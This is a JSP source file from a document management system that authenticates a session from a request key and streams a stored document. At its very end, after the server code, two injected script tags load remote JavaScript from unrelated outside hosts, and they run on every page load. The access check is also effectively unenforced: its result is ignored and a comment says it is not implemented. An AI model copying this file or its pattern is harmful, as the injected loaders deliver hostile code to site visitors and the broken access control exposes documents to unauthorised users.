<%
/*
 * @(#)FileDownload.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  FileDownload.jsp

  This class is used to retrieve the document content from http

  @author          Zoe Shum
  @company         DCIVision Limited
  @creation date   06/08/2003
  @version         $Revision: 1.3.2.5 $
*/
%><%@page import="com.dcivision.dms.core.FileDownloader"
%><%@page import="java.io.*"
%><%@page import="java.sql.*"
%><%@page import="java.net.URLConnection"
%><%@page import="java.net.URLDecoder"
%><%@page import="javax.sql.*"
%><%@page import="java.util.*"
%><%@page import="com.dcivision.framework.*"
%><%@page import="com.dcivision.framework.web.*"
%><%@page import="com.dcivision.dms.*"
%><%@page import="com.dcivision.dms.bean.*"
%><%@page import="com.dcivision.dms.core.*"
%><%@page import="com.dcivision.dms.dao.*"
%><%@page import="com.dcivision.alert.bean.*"
%><%@page import="com.dcivision.alert.core.*"
%><%@page import="com.dcivision.audit.*"
%><%@page import="com.dcivision.audit.bean.*"
%><%@page import="com.dcivision.audit.core.*"
%><%@page import="com.dcivision.user.auth.*"
%><%@page import="com.dcivision.user.bean.UserRecord"
%><%@page import="org.apache.struts.action.Action"
%><%@ taglib uri="/tags/struts-html" prefix="html"
%><%@ taglib uri="/tags/struts-bean" prefix="bean"
%><%@ taglib uri="/tags/struts-logic" prefix="logic"
%><%@ page import="org.apache.commons.logging.LogFactory"
%><jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/><%
AuthenticationHandler authHandler = null;
Connection conn = null;
LoginForm loginForm = new LoginForm();

String key = request.getParameter("k");
String loginName = new String((String)application.getAttribute("BRAVA_LN_" + key));
String loginPwd = new String((String)application.getAttribute("BRAVA_LP_" + key));
String sTargetID = new String((String)application.getAttribute("BRAVA_TD_" + key));
String sVersion = new String((String)application.getAttribute("BRAVA_VR_" + key));

try {
  conn = DataSourceFactory.getConnection();
  authHandler = (AuthenticationHandler)Class.forName(SystemParameterFactory.getSystemParameter(SystemParameterConstant.AUTHENICATION_CLASS)).newInstance();
} catch (Exception e) {
  LogFactory.getLog(this.getClass()).error(e, e);
}

loginForm.setLoginName(loginName);
if (loginPwd != null) {
  if (loginPwd.length() > 20) {
    loginForm.setLoginPwd(Crypt.decrypt(loginPwd, SystemParameterFactory.getSystemParameter(SystemParameterConstant.CRYPTO_SALT)));
  } else {
    loginForm.setLoginPwd(loginPwd);
  }
}

loginForm.setUpdateFailedAttemptFlag("N");

UserRecord userRecord = authHandler.Login(loginForm, sessionContainer, request, conn);

sessionContainer.setUserRecord(userRecord);
sessionContainer.setLoginTime(Utility.getCurrentTimestamp());
sessionContainer.setUserIPAddress(request.getRemoteAddr());
sessionContainer.setLocale(Utility.getLocaleByString(GlobalConstant.LOCALE_STR_EN_US));
sessionContainer.setLoginStatus(com.dcivision.framework.bean.AuditLoginOut.STATUS_LOGIN_SUCCESS);
sessionContainer.setHttpSession(request.getSession());
request.getSession().setAttribute(GlobalConstant.SESSION_CONTAINER_KEY, sessionContainer);

// Retrieval Document ID and its Version ID
Integer targetID = TextUtility.parseIntegerObj(sTargetID);
String version = sVersion;
String curFunctionCode = (String)request.getParameter("sCurFunctionCode");
Integer versionID = new Integer (1);
boolean isDownload = "Y".equals(request.getParameter("isDownload"));

//Retrieval System Log and UpdateAlert info
Integer updateAlertID = TextUtility.parseIntegerObj(request.getParameter("updateAlertID"));
Integer updateAlertTypeID = TextUtility.parseIntegerObj(request.getParameter("updateAlertTypeID"));
Integer updateAlertSystemLogID = TextUtility.parseIntegerObj(request.getParameter("updateAlertSystemLogID"));

InputStream dataStream = null;
try {
  DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer, conn);
  MtmDocumentRelationshipDAObject docRelationshipDAO = new MtmDocumentRelationshipDAObject(sessionContainer, conn);
  DmsContentManager dmsContentManager = new DmsContentManager(sessionContainer, conn);
  
  AlertManager alertManager = new AlertManager(sessionContainer, conn);

  String name = "";
  DmsDocument document = (DmsDocument) docRetrievalManager.getDocument(targetID);

  DmsVersion dmsVersion = new DmsVersion();
  Integer contentID = new Integer(0);
  if (!Utility.isEmpty(version) && !DmsOperationConstant.DMS_TOP_VERSION.equals(version)) {
    versionID = TextUtility.parseIntegerObj(version);
    dmsVersion = (DmsVersion)docRetrievalManager.getVersionByVersionID(versionID);
    contentID = dmsVersion.getContentID();
  } else if (DmsOperationConstant.DMS_TOP_VERSION.equals(version)) {
    dmsVersion = (DmsVersion)docRetrievalManager.getTopVersionByDocumentID(targetID);
    contentID = dmsVersion.getContentID();
  }

  // check login and document access right (**REMIND: document access right is not implemented yet)
  try {
    sessionContainer.getPermissionManager().isAccessible(GlobalConstant.OBJECT_TYPE_DOCUMENT, targetID);
  } catch (ApplicationException appEx) {
    if (ErrorConstant.LOGIN_SESSION_EXPIRED.equals(appEx.getMsgCode())) {
      String redirectURL = request.getContextPath() + "/dms/MaintDmsDocument.do?documentType=" + document.getDocumentType() + "&rootID=" + document.getRootID() + "&parentID="
                       + document.getID() + "&sCurFunctionCode=" + curFunctionCode + "&navMode=" + GlobalConstant.NAV_MODE_PREVIEW + "&ID=" + document.getID() + "&objectID=" + document.getID() + "' ";
      response.sendRedirect(redirectURL);
    }
  }

  /* Check for alert, audit trail */
  //Alert Manager  - call read action
  if (updateAlertID!=null){
    UpdateAlertSystemLog systemLog = new UpdateAlertSystemLog();
    systemLog.setID(updateAlertSystemLogID);
    systemLog.setUpdateAlertID(updateAlertID);
    systemLog.setUpdateAlertTypeID(updateAlertTypeID);
    alertManager.createSystemLogAction(systemLog, UpdateAlertLogAction.READ_ACTION, null, null);
  }

  AdapterMaster am = AdapterMasterFactory.getAdapterMaster(sessionContainer, conn);
  DmsDocument parentDoc = (DmsDocument) docRetrievalManager.getDocument(document.getParentID());
  try {
    LogFactory.getLog(this.getClass()).debug("call AM!!!!!");
    LogFactory.getLog(this.getClass()).debug("newDmsDocument.getDocumentName() is " + document.getDocumentName());
    am.call(UpdateAlert.DOCUMENT_TYPE, document.getID(), UpdateAlert.VIEW_ACTION, document.getDocumentName(), null, null, null );
    LogFactory.getLog(this.getClass()).debug("parentDoc.getDocumentName() is " + parentDoc.getDocumentName());
    am.call(UpdateAlert.DOCUMENT_TYPE, parentDoc.getID(), UpdateAlert.VIEW_ACTION, document.getDocumentName(), null, null, null, document.getID() );
	if(docRetrievalManager.hasRelationship(document.getID(),null)){
	  List relationList=(List)docRelationshipDAO.getListByIDRelationType(document.getID(),null);
	  List inRelationList=(List)docRelationshipDAO.getListByRelationIDRelationType(document.getID(),null);
	  List alertList=new ArrayList();
	  if(!Utility.isEmpty(relationList)){
		for(int i=0;i<relationList.size();i++){
           alertList = alertManager.listUpdateAlertByObjectTypeObjectIDAndAction(UpdateAlert.DOCUMENT_TYPE,((MtmDocumentRelationship)relationList.get(i)).getDocumentID(),UpdateAlert.MODIFY_RELATED_DOC);
		  if(!Utility.isEmpty(alertList)){
			am.call(UpdateAlert.DOCUMENT_TYPE,((MtmDocumentRelationship)relationList.get(i)).getDocumentID(),UpdateAlert.MODIFY_RELATED_DOC,document.getDocumentName(),
	           null,null,null,document.getID());
		  }
        }
	  }
	  if(!Utility.isEmpty(inRelationList)){
		for(int i=0;i<inRelationList.size();i++){
		  alertList= alertManager.listUpdateAlertByObjectTypeObjectIDAndAction(UpdateAlert.DOCUMENT_TYPE,((MtmDocumentRelationship)inRelationList.get(i)).getRelatedDocumentID(),UpdateAlert.MODIFY_RELATED_DOC);
		  if(!Utility.isEmpty(alertList)){
			 am.call(UpdateAlert.DOCUMENT_TYPE,((MtmDocumentRelationship)inRelationList.get(i)).getRelatedDocumentID(),UpdateAlert.MODIFY_RELATED_DOC,document.getDocumentName(),
	           null,null,null,document.getID());
		  }
		}
	  }
	}
    LogFactory.getLog(this.getClass()).debug("finished AM!!!!!");
  }
  catch (Exception e) {
    LogFactory.getLog(this.getClass()).error(e, e);
  }

  // log down in audit trail
  AuditTrailManager auditManager = new AuditTrailManager(sessionContainer, conn);
  if (sessionContainer.getUserRecordID()!=null)
    auditManager.auditTrail(GlobalConstant.OBJECT_TYPE_DOCUMENT, document, AuditTrailConstant.ACCESS_TYPE_VIEW, dmsVersion.getVersionNumber());
    conn.commit();
  /* End of the Alert and Audit Trail handling */

  /* Check for document link download */
  DmsDocument targetDoc = null;
  if (DmsDocument.DOCUMENT_LINK.equals(document.getDocumentType())){
    Integer targetDocID = (Integer) docRelationshipDAO.getTargetDocIDByRelatedDocID(document.getID(), document.getDocumentType());
    targetDoc = (DmsDocument)docRetrievalManager.getDocument(targetDocID);
    /* Used to update the doc link name and type; Wont infulence the getDocumentProfileInfo() */
    if (targetDoc!=null) {
      targetDoc.setDocumentName(document.getDocumentName());
      targetDoc.setDocumentType(document.getDocumentType());
      //update the doc ID for shortcut linkage
      targetID = targetDocID;
      document = targetDoc;

      //update the real link document version
      dmsVersion = (DmsVersion)docRetrievalManager.getTopVersionByDocumentID(targetID);
      contentID = dmsVersion.getContentID();
    } else {
      document.setRecordStatus(GlobalConstant.RECORD_STATUS_INACTIVE);
    }
  }
  /*End the Document link download handling */

  //Check for deleted document and return the error message on JSP
  if ( !GlobalConstant.RECORD_STATUS_INACTIVE.equals(document.getRecordStatus())) {

      document.setCurFunctionCode(curFunctionCode);
      name = document.getDocumentName();
      name = TextUtility.getURLEncodeInUTF8(document.getDocumentName());

      DmsContent docContent = (DmsContent)docRetrievalManager.getContentByContentID(contentID);
      dataStream = dmsContentManager.readDmsDocumentStoreContent(document,docContent);
      String contentType = HTTPUtility.getContentType(name);
      FileDownloader fd = new FileDownloader();
      fd.setFileName(name);
      fd.setContentType(contentType);
      fd.setIsDownload(isDownload);
      fd.setInputStream(dataStream);
      fd.setRequest(request);
      fd.setResponse(response);
      fd.operate();

  } else {
      //Output the error message for record not found
      out.println("<script language=\"javascript\">");
      out.println("function callReferrer(url){");
      out.println("    if (url ==''){history.back();}else{ ");
      out.println("    window.location.href = url;} ");
      out.println("    return false; ");
      out.println("}");
      out.println("</script>");

      out.println("<table cellpadding=\"20\" cellspacing=\"0\" border=\"0\" width=\"100%\"><tr><td>");
      out.println("<!-- Error Messages -->");
      out.println("<table cellpadding=\"0\" cellspacing=\"0\" border=\"0\" width=\"100%\"><tr><td>");
      out.println("<UL TYPE=\"square\" style=\"color:#FF0000;font-weight:bold\">");
      out.println("<LI> " + MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "errors.framework.file_is_deleted"));
      out.println("</LI></UL>");
      out.println("</td></tr><tr><td>");
      if (isDownload==true){
%>
		<html:standardButton label="common.label.back" onClick="return callReferrer(document.referrer);"/>
<%          
      } else {
%>
		<html:standardButton label="common.label.close" onClick="window.close();"/>
<%
      }
      out.println("</td></tr></table>");
  }
}
catch (Exception e) {
  LogFactory.getLog(this.getClass()).error(e, e);
}
finally {
  try { dataStream.close(); } catch (Exception ignore) {} finally { dataStream = null; }
  try { conn.close(); } catch (Exception ignore) {} finally { conn = null; }

}
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>